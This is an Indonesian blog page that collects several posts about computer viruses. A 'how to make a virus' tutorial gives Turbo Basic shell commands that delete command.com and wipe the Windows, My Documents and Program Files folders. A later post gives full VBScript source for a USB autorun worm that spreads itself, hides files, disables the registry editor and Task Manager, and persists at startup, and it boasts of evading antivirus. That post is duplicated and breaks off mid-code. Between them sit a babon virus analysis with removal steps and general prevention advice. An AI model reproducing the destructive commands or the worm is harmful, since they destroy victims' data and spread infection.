Membuat Program perusak (Seperti Virus)

Membuat program perusak (seperti virus) merupakan keinginan sebagian para pemula komputer, tapi bagaimana mereka bisa membuat kalau mereka tidak tahu bahasa pemograman sama sekali, anda jangan resah untuk masalah ini karena saat ini penulis akan mengajarkan anda cara membuat program perusak (virus) yang sangat sederhana sekali tapi sangat mematikan bahkan bisa dikatakan lebih mengerikan dari program perusak manapun.

Pertama kali skill yang anda butuhkan adalah dasar DOS, tanpa ini anda akan sulit untuk berkreasi dalam membuat program ini tapi jika anda tidak tahu dasar perintah DOS maka anda cukup copy paste saja, bahasa pemograman yang akan kita pakai adalah Turbo Basic v1.0, anda dapat mendownloadnya di Google atau


Diatas adalah tampilan Turbo Basic, jika anda buta pemograman Turbo Basic maka anda masuk ke Edit lalu anda tulis Source Code program perusak.

shell "Perintah DOS"

dengan diawali kata shell maka anda dapat menjalankan perintah DOS pada program, misal anda membuat :

shell "c:"
shell "cd\"
shell "del command.com"

Diatas adalah contoh menghapus DOS pada DOS Classic, Windows 95/98 sehingga pengguna komputer tidak dapat booting, kita contohkan yang lain.

shell "c:"
shell "cd\"
shell "deltree /y mydocu~1"
shell "deltree /y windows"
shell "deltree /y progra~1"

Diatas adalah contoh menghapus Directory My Document, WIndows dan Program FIles, sangat fatal bukan ?

Setelah anda selesai membuat programnya maka anda save dahulu, caranya pilih File lalu Save lalu beri nama filenya misal VIRUS.BAS, setelah itu baru kita mengcompile source code tadi, caranya pilih Options lalu pilih Compile to EXE file, setelah itu masuk ke pilihan compile lalu anda enter, maka source code tersebut akan menjadi file EXE.

Jika file EXE tersebut dijalankan maka komputer anda akan menjalankan perintah DOS pada program, dari tutorial diatas, anda dapat berkreasi sendiri bagaimana virus buatan anda dapat berjalan sesuai dengan anda inginkan, perlu diketahui bahwa TIDAK ADA SATU ANTIVIRUS DIDUNIA INI DAPAT MENDETEKSI PROGRAM INI ADALAH VIRUS jadi anda bebas mengcopykan program ini ke komputer manapun yang anda suka kecuali komputer berbasis non DOS atau Windows, hehe

Tujuan dari tutorial ini adalah agar kita lebih waspada terhadap berbagai file dengan ekstensi *.exe meskipun file *.exe tersebut 100% dinyatakan bebas virus dari berbagai jenis Antivirus.

[~~Baca Selengkapnya~~]

Penanggulangan Viruz

Semakin…semakin aja virus virus bermunculan di cyber indonesia…walopun kecil2 tapi agak menjengkelkan jugak yah…kali ini buatan anak sampit, yaitu virus babon … kok babon???iya lah…namanya virus ya bebaslah…mau babon, babin, nyemot…. Yang penting bisa menghajar komputer …. Nah coba lihat ciri2 yang terkena virus ini …


Code name: w32.babon@m3nt0z
CRC32 : banyak sekali ... kayaknya emang udah berkembang ni virus
Ukuran : 91,4 kb atau 92 kb


Pertama kali ngeliat file bernama cewek_imoet pasti jantung anda berdegup kencang (DUG DUG DUG DUG)...emang bunyi bedug..!!!!! lalu anda mempunyai hasrat untuk membuka file tersebut.....huihihihihi!!!STOP STOP...(sambil mencegah pembaca untk mengklik 2 kali mouse-nya) …lihat dulu men… ekstensinya apa…kalau 3gp, avi atau jpg boleh lah dibukak…tapi kalo exe…ntar dulu…nah ini yang biasanya kurang diperhatikan oleh user – user…hati2 nama file boleh menarik tapi ekstensi file (nama belakang file seperti .com, .exe, .bat, .dll) bisa – bisa menjebak…jadi waspadalah – waspadalah!!!!, karena file cewek_imoet adalah file pemicu virus w32.babon@m3nt0z.

Ciri2 yang telah terkena virus ini:

1. Menu shutdown hilang
2. Registry di blok
3. Folder Options di windows explorer menghilang
4. msconfig diblok
5. File word berekstensi .doc yang asli disembunyikan dan dirubah menjadi file berekstensi .exe mempunyai icon folder berwarna kuning dan berukuran 91,4 kb
6. Seluruh file .exe disembunyikan atau bahkan dihapus dan diganti dengan file virus berekstensi .exe dan mempunyai icon berwarna kuning berukuran 91, 4 kb (ngeri’nyakkkkk!!!!!)
7. My computer menjadi Babon
8. Recycle Bin menjadi Babon suka kebersihan
9. Menu run, search, documents dan lain lain hilang
10. My Documents anda menjadi File_Rahasia THE HUNTER



FILE PEMICU VIRUS

- Cewek_Imoet.exe, mempunyai icon folder berwarna kuning yang ada di tiap drive C:, D:, E: dan lain – lain
- File_Rahasia THE HUNTER.exe , mempunyai icon folder berwarna kuning yang ada di tiap drive C:, D:, E: dan lain – lain
- File IExplorer.exe yang ada di C:\Windows\System32 dan disembunyikan dengan cara men-set attribut file menjadi hidden
- File shell.exe yang ada di C:\Windows\System32 dan disembunyikan dengan cara men-set attribut file menjadi hidden
- Babon.scr yang ada di C:\Windows\System32 dan disembunyikan dengan cara men-set attribut file menjadi hidden dan di tiap drive
- Csrss.exe yang ada di folder C:\Documents And Settings\User\Local Settings\Application Data\Windows
- smss.exe yang ada di folder C:\Documents And Settings\User\Local Settings\Application Data\Windows
- lsass.exe yang ada di folder C:\Documents And Settings\User\Local Settings\Application Data\Windows
- Empty.pif di direktori Documents and Settings\All User\Start Menu\Programs\Startup
- Winlogon.exe di direktori Application Data\Windows\


Virus juga membuat file yang sama dengan nama diatas, Cuma bedanya sebelum extensi file diberi spasi, misal nama file cewek_imoet.exe, virus juga akan membuat file cewek_imoet[spasi].exe jadi nama file aslinya cewek_imoet .exe, gunanya adalah untuk mengacaukan perintah penghapusan di DOS (Diskette Operating System), karena dengan adanya spasi tersebut, file dianggap sebuah parameter, bukan sebuah file.


FILE YANG DIINFEKSI

Virus mencari dan menginfeksi file dengan ekstensi seperti di bawah ini, untuk itu BACKUPLAH HARDISK ANDA:

MP3
MP4
MPG
MPEG
AVI
DAT
WMV
JPG
GIF
JPEG
PNG
ASX
DOC
XLS
WMA
MDB
Dan ekstensi EXE tentunya....


BLOCKING PROGRAM

Virus juga memblocking program yang mempunyai caption sbb:

"TASK"
"REG"
"ASM"
"DBG"
"W32"
"BUG"
"HEX"
"DETEC"
"PROC"
"WALK"
"FUC"
"SEX"
"REST"
"AVAS"
"OPTIONS"
"FORMAT"
"RebarWindow32"
"ComboBoxEx32"
"ComboBox"
"Edit"
"ANTI"
"VIRUS"


PESAN – PESAN YANG DIMUNCULKAN

- Pesan yang dimunculkan dapat dilihat di file wangsit.txt yang ada di tiap drive

Babon

Wahai kalian teman2 ku dimanapun berada.. hehehe
Lagi beapa nih wal? ngenet kah? chatting ? Kuliah yang bujur lah...
Jangan terlalu banyak bejalanan n menghabiskan waktu pakai hal2 yang kda penting
Beuh..pina musti nda ni lah. Hahaha..:)
Just wanna say : Hello Friend.. Moci-moci ^^
Sampit Community..
Peace Man..
By : Anak Sampit yang lagi menuntut ilmu di pulau seberang

Beh beh beh kadak ngarti ikam, ini banjarsari ato Banjarmasin gituh…hahahahahah!

- Pesan virus juga muncul pada saat windows pertama kali login

Welcome to Babon Computer
Please enjoy the babon entertaintment

MANIPULASI REGISTRI

W32.babon memanipulasi beberapa registry yang ada di windows, yaitu:

HKEY_LOCAL_MACHINE, Software\CLASSES\batfile\shell\open\command,,,"""%1"" %*"

HKEY_LOCAL_MACHINE, Software\CLASSES\comfile\shell\open\command,,,"""%1"" %*"

HKEY_LOCAL_MACHINE, Software\CLASSES\exefile\shell\open\command,,,"""%1"" %*"
HKEY_LOCAL_MACHINE, Software\CLASSES\piffile\shell\open\command,,,"""%1"" %*"

HKEY_LOCAL_MACHINE, Software\CLASSES\regfile\shell\open\command,,,"regedit.exe "%1""

HKEY_LOCAL_MACHINE, Software\CLASSES\scrfile\shell\open\command,,,"""%1"" %*"

HKEY_LOCAL_MACHINE, SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon, Shell,0, "Explorer.exe"
HKEY_LOCAL_MACHINE, SOFTWARE\Classes\exefile, Default,0, “application”

HKEY_LOCAL_MACHINE, SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\HideFileExt, type,0, “Checkbox”

HKEY_LOCAL_MACHINE, SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\SuperHidden, type,0, “Checkbox”

HKEY_LOCAL_MACHINE, SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden, type,0, “group”

HKEY_CURRENT_USER, Software\Microsoft\Windows\CurrentVersion\Policies\System,DisableRegistryTools

HKEY_CURRENT_USER, Software\Microsoft\Windows\CurrentVersion\Policies\System,DisableTaskMgr

HKEY_CURRENT_USER, Software\Microsoft\Windows\CurrentVersion\Policies\Explorer,NoFolderOptions
HKEY_CURRENT_USER, Software\Microsoft\Windows\CurrentVersion\Run,MsPatch

HKEY_LOCAL_MACHINE, SOFTWARE\Microsoft\Windows\CurrentVersion\Run,Mspatch

HKEY_LOCAL_MACHINE, SOFTWARE\Classes\exefile, NeverShowExt

HKEY_CURRENT_USER, Software\Policies\Microsoft\Windows\System, DisableCMD


Hati - hati virus ini juga melakukan manipulasi terhadap userinit.exe yang dilakukan oleh virus flu burung dengan jurus terkenalnya tendang login beibeh.

Manipulasi lainnya dilakukan di registry dengan alamat:

CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ yang berguna untuk merubah Computer name menjadi Komputer babon Nih

CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\ yang berguna untuk merubah Recycle Bin menjadi Babon Suka Kebersihan

Virus ini juga menggunakan perintah dari modul shell32.dll yang berguna untuk menjalankan beberapa perintah di windows secara otomatis.


BACKUP VIRUS

Virusnya karena dibuat pakek vb jadi dia menggandakan file msvbvm60.dll ke drive yang ada di komputer di direktori c:\windows dan di c:\windows\system32

PENANGGULANGAN

Pemulihannya emang laen dari yang laen, untuk mematikan prosesnya aja syusyah banget... kita seperti berkejar – kejaran dengan mereka...hmm... mungkin tugas para virologers untuk membuat blocking proses untuk virus w32.babon ini...okay...tapi untuk menendang proses ini anda dapat mendonlot program virus acepmp, viremover yang ada di alamat ini:


Donlot acep.scr dan autorun.inf (acep.zip) untuk tendang process

1. Donlot file acep.scr dan autorun.inf di www.virologi.info


Donlot acep.scr dan autorun.inf (acep.zip) untuk tendang process


2. Kemudian copy file tersebut ke flashdisk anda, taruh di root direktori di flashdisk atau diluar direktorinya

3. Kemudian sambungkan flashdisk ke cpu anda

4. Jalankan file acep.scr, jalankan 2, 3 atau 4 kali untuk membunuh proses virus

5. Hapus file yang ada di daftar berikut:

- Cewek_Imoet.exe, mempunyai icon folder berwarna kuning yang ada di tiap drive C:, D:, E: dan lain – lain
- File_Rahasia THE HUNTER.exe , mempunyai icon folder berwarna kuning yang ada di tiap drive C:, D:, E: dan lain – lain
- File IExplorer.exe yang ada di C:\Windows\System32 dan disembunyikan dengan cara men-set attribut file menjadi hidden
- File shell.exe yang ada di C:\Windows\System32 dan disembunyikan dengan cara men-set attribut file menjadi hidden
- Babon.scr yang ada di C:\Windows\System32 dan disembunyikan dengan cara men-set attribut file menjadi hidden dan di tiap drive
- Csrss.exe yang ada di folder C:\Documents And Settings\User\Local Settings\Application Data\Windows
- smss.exe yang ada di folder C:\Documents And Settings\User\Local Settings\Application Data\Windows
- lsass.exe yang ada di folder C:\Documents And Settings\User\Local Settings\Application Data\Windows
- Empty.pif di direktori Documents and Settings\All User\Start Menu\Programs\Startup
- Winlogon.exe di direktori Application Data\Windows\

6. Hapus alamat registry ayng dimanipulas virus yang ada di:

HKEY_LOCAL_MACHINE, Software\CLASSES\batfile\shell\open\command,,,"""%1"" %*"

HKEY_LOCAL_MACHINE, Software\CLASSES\comfile\shell\open\command,,,"""%1"" %*"

HKEY_LOCAL_MACHINE, Software\CLASSES\exefile\shell\open\command,,,"""%1"" %*"
HKEY_LOCAL_MACHINE, Software\CLASSES\piffile\shell\open\command,,,"""%1"" %*"

HKEY_LOCAL_MACHINE, Software\CLASSES\regfile\shell\open\command,,,"regedit.exe "%1""

HKEY_LOCAL_MACHINE, Software\CLASSES\scrfile\shell\open\command,,,"""%1"" %*"

HKEY_LOCAL_MACHINE, SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon, Shell,0, "Explorer.exe"
HKEY_LOCAL_MACHINE, SOFTWARE\Classes\exefile, Default,0, “application”

HKEY_LOCAL_MACHINE, SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\HideFileExt, type,0, “Checkbox”

HKEY_LOCAL_MACHINE, SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\SuperHidden, type,0, “Checkbox”

HKEY_LOCAL_MACHINE, SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden, type,0, “group”

HKEY_CURRENT_USER, Software\Microsoft\Windows\CurrentVersion\Policies\System,DisableRegistryTools

HKEY_CURRENT_USER, Software\Microsoft\Windows\CurrentVersion\Policies\System,DisableTaskMgr

HKEY_CURRENT_USER, Software\Microsoft\Windows\CurrentVersion\Policies\Explorer,NoFolderOptions
HKEY_CURRENT_USER, Software\Microsoft\Windows\CurrentVersion\Run,MsPatch

HKEY_LOCAL_MACHINE, SOFTWARE\Microsoft\Windows\CurrentVersion\Run,Mspatch

HKEY_LOCAL_MACHINE, SOFTWARE\Classes\exefile, NeverShowExt

HKEY_CURRENT_USER, Software\Policies\Microsoft\Windows\System, DisableCMD


7. Cari file .exe dengan ukuran 91,4 kb dengan folder icon warna kuning, kemudian hapus

8. Scan hardisk anda dengan WAV 2005 update-an terbaru


Jika belum bisa jugak pakai cara pamungkas untuk membunuh virus:

1. Booting dengan cd win xp

2. Kemudian tekan ‘R’ untuk repair

3. Isi password administrator

4. Pilih drive dimana windows di install, yaitu dengan menekan tombol 1,2 atau 3

5. Ganti file msvbvm60.dll dan msvbvm50.dll dengan nama lain misalnya msvbvxxx.xxx atau nama lain, file tersebut terletak di:

C:\Windows
C:\windows\system32
Atau di root direktori di C:, D:, atau lainnya, maksud root direktori ya diluar direktori gitu...

6. Kemudian booting dan masuk ke windows

7. Otomatis file virus tidak berjalan karena virus harus mengakses file msvbvm60.dll terlabih dahulu sebelum menjalankan kode-kodenya

[~~Baca Selengkapnya~~]

Info Virus

Virus adalah sebuah program yg dapat menggandakan dirinya dan menyebar dengan cara menyusupkan dirinya ke program lain.
Trojan adalah sebuah program yg menyamar sebagai file biasa, namun begitu dieksekusi dpt merusak. Bedanya trojan blm dpt mereplikasi dirinya sendiri.
Worms bagian program yg menggunakan kelemahan network dan keamanan komputer untuk mereplikasi dirinya. Hasil replikasi ini akan mencari komputer lain yg dpt diinfeksi, dan kemudian kembali berkembang biak.


Macam2 virus berdasarkan yg diserang :
1. virus boot sector : menyerang boot record, MBR, FAT, dan partition table.
2. file virus : menyerang sebuah file tertentu.
3. virus makro : menyerang program yg menjalankan makro spt word, excel, access.
4. companion file virus : bekerja di dalam DOS
5. virus cluster : mengubah informasi direktori, shg eksekusi data akan di arahkan ke file virus.
6. virus batch file : menyerang file .BAT
7 virus cource code : menyisipkan code ke dalam source code program.

Macam2 virus berdasar cara kerjanya
1. sparse infector : menggunakan teknik hanya menginfeksi file dgn kondisi tertentu.
2. virus stealth : mampu memperbesar ukuran file shg tidak terdeteksi
3. virus multipartite : virus yg dpt melakukan multi infeksi dg gabungan teknik2 yg ada
4. virus enkripsi : memiliki kode enkripsi untuk menyamarkan kode viral
5. virus polimorfis : dpt mengubah signaturenya, shg sulit dikenali AV
6 armored virus : menggunakan teknik yg berlapis2, biasanya berukuran besar.
7. cavity(spacefiller) virus : menyisipkan code ke dalam suatu file shg saat diakses, file tsb akan mengeksekusi code virus terlebih dahulu.
8. tunneling virus : membuat semacam lorong untuk menghindari AV
9. camouflage virus : memanfaatkan kelemahan AV yg mengandalkan signature database.

Tanda2 terkena virus:
1. AV mendetek adanya virus.
2. Komputer menjadi lambat, sering crash, restart, out of memory
3. AV anda tiba2 rusak, disable dan ga bs di aktifkan kembali.
4. Tiba2 komputer anda penuh dgn file2 aneh.
5. Tiba2 drive anda terformat atau data2 anda hilang.
6. Muncul dialog boxes/ message boxes
7. Muncul icon yg ga ada hubungan dgn program yg pernah anda instal
8. Teman anda blg kalo anda telah mengirim email dng attachment, biasanya extnya .exe, .bat, .scr , and .vbs, namun anda tidak merasa telah mengirim.

Trojan dan worm termasuk kategori virus, jadi langkah2 mencegah dan mengatasinya sama.
Cara mencegah :
1. Gunakan AV yg real time scanner( inget di update yg rajin ^_^)
2. Scan terlebih dahulu semua file baru sebelum dieksekusi.
3. Gunakan browser yg aman
4. Jangan mengunjungi web yg..u know lah ^_^
5. Jgn sembarangan membuka attachment, file yg anda download/ file sharing. Sebaiknya di scan terlebih dahulu sebelum dieksekusi.
6. Jgn biarkan seseorang yg tidak anda percayai 100% menggunakan komputer anda.
7. Backup semua data, termasuk registry.
8. Perkuat OS security, update, patch, setting yg bener.
9. Gunakan firewall. Sebaiknya filter file2 yg memiliki ext sbb :
.API = Acrobat plugin
.BAT = file batch
.BPL = Borland Package Libraries
.CHM = compiled html help
.COM = command file
.CPL = Windows control panel extension
.DLL = dynamic link library
.DPL = Delphi Package library
.DRV = Device driver
.EXE = Windows executeable
.HTA = hyper text application
.JS = java script
.OCX = Object linking and embedding control
.PIF = program information file
.pl = pearl script
.SCR = screen saver program
.SHS = shell scrap object file
.SYS = system configuration file
.VBS = visual basic script
.VBE = visual basic encoded script
.VXD = virtual device driver
.WMA = windows media audio
.WSF = windows script file
.WSH = windows script host setting
.rpm = redhat package manager
.sh = shell script
Tp perlu diingat ga semua yg ext diatas adalah program jahat. Jadi sebaiknya di firewall di setting agar memberikan notifikasi apabila ada file dgn ext diatas yg ingin masuk ke komputer.

Cara mengatasi :
1. Scan dengan AV yg sudah terupdate, gunakan safe mode apabila virus masih membandel.
2. Ga mempan, coba gunakan AV online. Gunakan online scanner yg berbeda dari AV yg anda pakai di komputer.
3. Gunakan removal tool khusus. Untuk download bs di link2 berikut.
4. Apabila anda menggunakan Norton GoBack/ Deep Freeze ato program image, bersyukurlah, tinggal di balikin aja ke keadaan sebelum terinfeksi virus. Khusus DF, langsung restart aja kompienya ^_^.
5. Kalo misalnya segala cara diatas ga bs, coba aja di email ke "virus@vaksin.com", siapa tau dpt hadiahnya. ^_^. Atau bs juga ke "scan@virustotal.com "

Cara memilih AV yg baik
1. Liat frequensi upate, semakin cepet semakin baik, liat jg responnya thdp virus yg baru muncul.
2. Kebutuhan resource, makin ringan makin bagus tentunya, tp buat yg komputernya ud kueren, hal ini ga usah dipertimbangkan.
3. Kelengkapan proteksi, apakah ada anti trojan,worm? ada firewallnya juga? ngecek email? dll
4. Biaya, makin murah ya makin bagus dunk
5. Ada real time scanning, kalo ga ada sebaiknya jgn dipilih. Atau kalo ga bs dijadikan backup sebagai AV ke2
6. Kemampuan reparasi/heal file yg terinfeksi.
7. Support. Bagaimana kualitas layanan?
Moga2 bs membantu member lain dalam memilih AV yg dia perlukan.

Daftar online virus scanner
http://housecall.trendmicro.com/
http://www.pandasoftware.com/products/activescan
http://www.bitdefender.com/scan8/ie.html
www.security.symantec.com/
http://support.f-secure.com/enu/home/ols.shtml
http://www.kaspersky.com/virusscanner

Daftar removal tool
http://www.bitdefender.com/site/Down...reeRemovalTool
http://www.symantec.com/enterprise/s...movaltools.jsp
http://vil.nai.com/vil/stinger/
http://www.f-secure.com/download-purchase/tools.shtml
http://www.avast.com/eng/avast_cleaner.html
http://us.mcafee.com/virusInfo/default.asp?id=vrt
http://www.kaspersky.com/removaltools
Untuk berbagai virus lokal(contoh :suratbuatpresiden,patah hati,borax,decoy dll) bs dicari removalnya di
http://www.macancrew.net/index2.php//update

Daftar AV komersial
Antivir www.free-av.com
AVG www.grisoft.com
Bit defender www.bitdefender.com
Kaspersky www.kaspersky.com
Mcafee www.mcafee.com
Norman www.vaksin.com
Norton www.symantec.com
NOD32 www.eset.com
Panda www.pandasoftware.com
TrendMicro www.trendmicro.com

Daftar pustaka
http://support.microsoft.com/kb/129972
http://us.mcafee.com/virusInfo/default.asp?id=tips
http://en.wikipedia.org/wiki/Virus_%28computing%29
http://www.vaksin.com/hall_of_fame.htm
http://antivirus.about.com/cs/softwa...p/aaonline.htm

Moga2 info ini bermanfaat. ^_^

[~~Baca Selengkapnya~~]

Cara Membuat Virus VBS

Iseng-iseng mencolok Flash Disc saudara saya tiba-tiba saya nemu sebuah malcode lokal yang dibuat dengan bahasa VBS. Wah, ternyata para virus maker mulai melirik memakai bahasa VBS. Mungkin karena menyangkut HAKI (Hak Atas Kekayaan Intelektual) karena VB6.0 yang banyak beredar adalah bajakan. Jadi ia membuat virus dengan VBS yang bisa dibuat hanya dengan Notepad karena di Windows sudah ada compiler yang terintegrasi dengannya, Windows Based Script Host.


Sesua janji saya, kita akan membuat virus yang sederhana menggunakan Notepad. Virus ini akan membuat dirinya menyebar ke removable disc dengan AutoRun sehingga komputer lain yang tercolok flash disc terinfeksi akan langsung menjadi korban tanpa menungu User menjalankan infector-nya. Virus ini saya beri nama “Kalong.VBS”. Sekarang buka Notepad-nya. Copy kode berikut :

'//--Awal dari kode, set agar ketika terjadi Error dibiarkan dan kemudian lanjutkan kegiatan virus--//
on error resume next

'//--Dim kata-kata berikut ini--//
dim rekur,windowpath,flashdrive,fs,mf,isi,tf,kalong,nt,check,sd

'//--Set sebuah teks yang nantinya akan dibuat untuk Autorun Setup Information--//
isi = "[autorun]" & vbcrlf & "shellexecute=wscript.exe k4l0n6.dll.vbs"
set fs = createobject("Scripting.FileSystemObject")
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text = mf.openastextstream(1,-2)
do while not text.atendofstream
rekur = rekur & text.readline
rekur = rekur & vbcrlf
loop
do

'//--Copy diri untuk menjadi file induk di Windows Path (example: C:\Windows)
Set windowpath = fs.getspecialfolder(0)
set tf = fs.getfile(windowpath & "\batch- k4l0n6.dll.vbs ")
tf.attributes = 32
set tf=fs.createtextfile(windowpath & "\batch- k4l0n6.dll.vbs",2,true)
tf.write rekursif
tf.close
set tf = fs.getfile(windowpath & "\batch- k4l0n6.dll.vbs ")
tf.attributes = 39
'//--Buat Atorun.inf untuk menjalankan virus otomatis setiap flash disc tercolok--//
‘Menyebar ke setiap drive yang bertype 1 dan 2(removable) termasuk disket

for each flashdrive in fs.drives
'//--Cek Drive--//
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> "A:" then

'//--Buat Infector jika ternyata Drivetypr 1 atau 2. Atau A:\--//
set tf=fs.getfile(flashdrive.path &"\k4l0n6.dll.vbs ")
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &"\k4l0n6.dll.vbs ",2,true)
tf.write rekursif
tf.close
set tf=fs.getfile(flashdrive.path &"\k4l0n6.dll.vbs ")
tf.attributes = 39

'//--Buat Atorun.inf yang teks-nya tadi sudah disiapkan (Auto Setup Information)--//
set tf =fs.getfile(flashdrive.path &"\autorun.inf")
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &"\autorun.inf",2,true)
tf.write isi
tf.close
set tf = fs.getfile(flashdrive.path &"\autorun.inf")
tf.attributes=39
end if
next

'//--Manipulasi Registry--//

set kalong = createobject("WScript.Shell")

'//--Manip - Ubah Title Internet Explorer menjadi THE KALONG v.s. ZAY--//
kalong.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title"," THE KALONG v.s. ZAY "

'//--Manip – Set agar file hidden tidak ditampilkan di Explorer--//
kalong.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden", "0", "REG_DWORD"

'//--Manip – Hilangkan menu Find, Folder Options, Run, dan memblokir Regedit dan Task Manager--//
kalong.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind", "1", "REG_DWORD"
kalong.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions", "1", "REG_DWORD"
kalong.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun", "1", "REG_DWORD"
kalong.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", "1", "REG_DWORD"
kalong.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr", "1", "REG_DWORD"

'//--Manip – Disable klik kanan--//
kalong.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu", "1", "REG_DWORD"

'//--Manip - Munculkan Pesan Setiap Windows Startup--//
kalong.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption", "Worm Kalong. Variant from Rangga-Zay, don’t panic all data are safe."

'//--Manip – Aktif setiap Windows Startup--//
kalong.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Systemdir", windowpath & "\batch- k4l0n6.dll.vbs "

'//--Manip – Ubah RegisteredOwner dan Organization--//
kalong.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization", "The Batrix"
kalong.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner","Kalong"

'//--Nah kalau kode dibawah ini saya nggak tau, tolong Mas Aat_S untuk menjelaskan--//
if check <> 1 then
Wscript.sleep 200000
end if
loop while check <> 1
set sd = createobject("Wscript.shell")
sd.run windowpath & "\explorer.exe /e,/select, " & Wscript.ScriptFullname
'Akhir dari Kode


Save code di Notepad dengan cara FILE > SAVE. Lalu di save as type pilih “All Files (*.*). Simpan dengan nama : k4l0n6.dll.vbs. Sebenarnya gak usah pake *.dll juga gak apa-apa tapi usaha agar tidak mencurigakan aja.

He..he…Virus Worm ini memang bukan murni dari pemikiran saya sendiri karena meniru kode-nya virus Rangga-Zay. Tapi yang ini lebih bagus karena tidak terdeteksi pakai PCMAV RC15, CLAMAV, dan AVAST. Itung-itung ini buat Anda tahu kalau membuat virus/worm tidak perlu membeli software bajakan. Pakai Notepad (dari Windows Original) juga bisa. Kalau mau tahu cara membuat virus yang lebih mengerikan lagi dengan Notepad, kirim e-mail ke saya yIseng-iseng mencolok Flash Disc saudara saya tiba-tiba saya nemu sebuah malcode lokal yang dibuat dengan bahasa VBS. Wah, ternyata para virus maker mulai melirik memakai bahasa VBS. Mungkin karena menyangkut HAKI (Hak Atas Kekayaan Intelektual) karena VB6.0 yang banyak beredar adalah bajakan. Jadi ia membuat virus dengan VBS yang bisa dibuat hanya dengan Notepad karena di Windows sudah ada compiler yang terintegrasi dengannya, Windows Based Script Host.

Sesua janji saya, kita akan membuat virus yang sederhana menggunakan Notepad. Virus ini akan membuat dirinya menyebar ke removable disc dengan AutoRun sehingga komputer lain yang tercolok flash disc terinfeksi akan langsung menjadi korban tanpa menungu User menjalankan infector-nya. Virus ini saya beri nama “Kalong.VBS”. Sekarang buka Notepad-nya. Copy kode berikut :

'//--Awal dari kode, set agar ketika terjadi Error dibiarkan dan kemudian lanjutkan kegiatan virus--//
on error resume next

'//--Dim kata-kata berikut ini--//
dim rekur,windowpath,flashdrive,fs,mf,isi,tf,kalong,nt,check,sd

'//--Set sebuah teks yang nantinya akan dibuat untuk Autorun Setup Information--//
isi = "[autorun]" & vbcrlf & "shellexecute=wscript.exe k4l0n6.dll.vbs"
set fs = createobject("Scripting.FileSystemObject")
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text = mf.openastextstream(1,-2)
do while not text.atendofstream
rekur = rekur & text.readline
rekur = rekur & vbcrlf
loop
do

'//--Copy diri untuk menjadi file induk di Windows Path (example: C:\Windows)
Set windowpath = fs.getspecialfolder(0)
set tf = fs.getfile(windowpath & "\batch- k4l0n6.dll.vbs ")
tf.attributes = 32
set tf=fs.createtextfile(windowpath & "\batch- k4l0n6.dll.vbs",2,true)
tf.write rekursif
tf.close
set tf = fs.getfile(windowpath & "\batch- k4l0n6.dll.vbs ")
tf.attributes = 39
'//--Buat Atorun.inf untuk menjalankan virus otomatis setiap flash disc tercolok--//
‘Menyebar ke setiap drive yang bertype 1 dan 2(removable) termasuk disket

for each flashdrive in fs.drives
'//--Cek Drive--//
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> "A:" then

'//--Buat Infector jika ternyata Drivetypr 1 atau 2. Atau A:\--//
set tf=fs.getfile(flashdrive.path &"\k4l0n6.dll.vbs ")
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &"\k4l0n6.dll.vbs ",2,true)
tf.write rekursif
tf.close
set tf=fs.getfile(flashdrive.path &"\k4l0n6.dll.vbs ")
tf.attributes = 39

'//--Buat Atorun.inf yang teks-nya tadi sudah disiapkan (Auto Setup Information)--//
set tf =fs.getfile(flashdrive.path &"\autorun.inf")
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &"\autorun.inf",2,true)
tf.write isi
tf.close
set tf = fs.getfile(flashdrive.path &"\autorun.inf")
tf.attributes=39
end if
next

'//--Manipulasi Registry--//

set kalong = createobject("WScript.Shell")

'//--Manip - Ubah Title Internet Explorer menjadi THE KALONG v.s. ZAY--//
kalong.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title"," THE KALONG v.s. ZAY "

'//--Manip – Set agar file hidden tidak ditampilkan di Explorer--//
kalong.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden", "0", "REG_DWORD"

'//--Manip – Hilangkan menu Find, Folder Options, Run, dan memblokir Regedit dan Task Manager--//
kalong.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind", "1", "REG_DWORD"
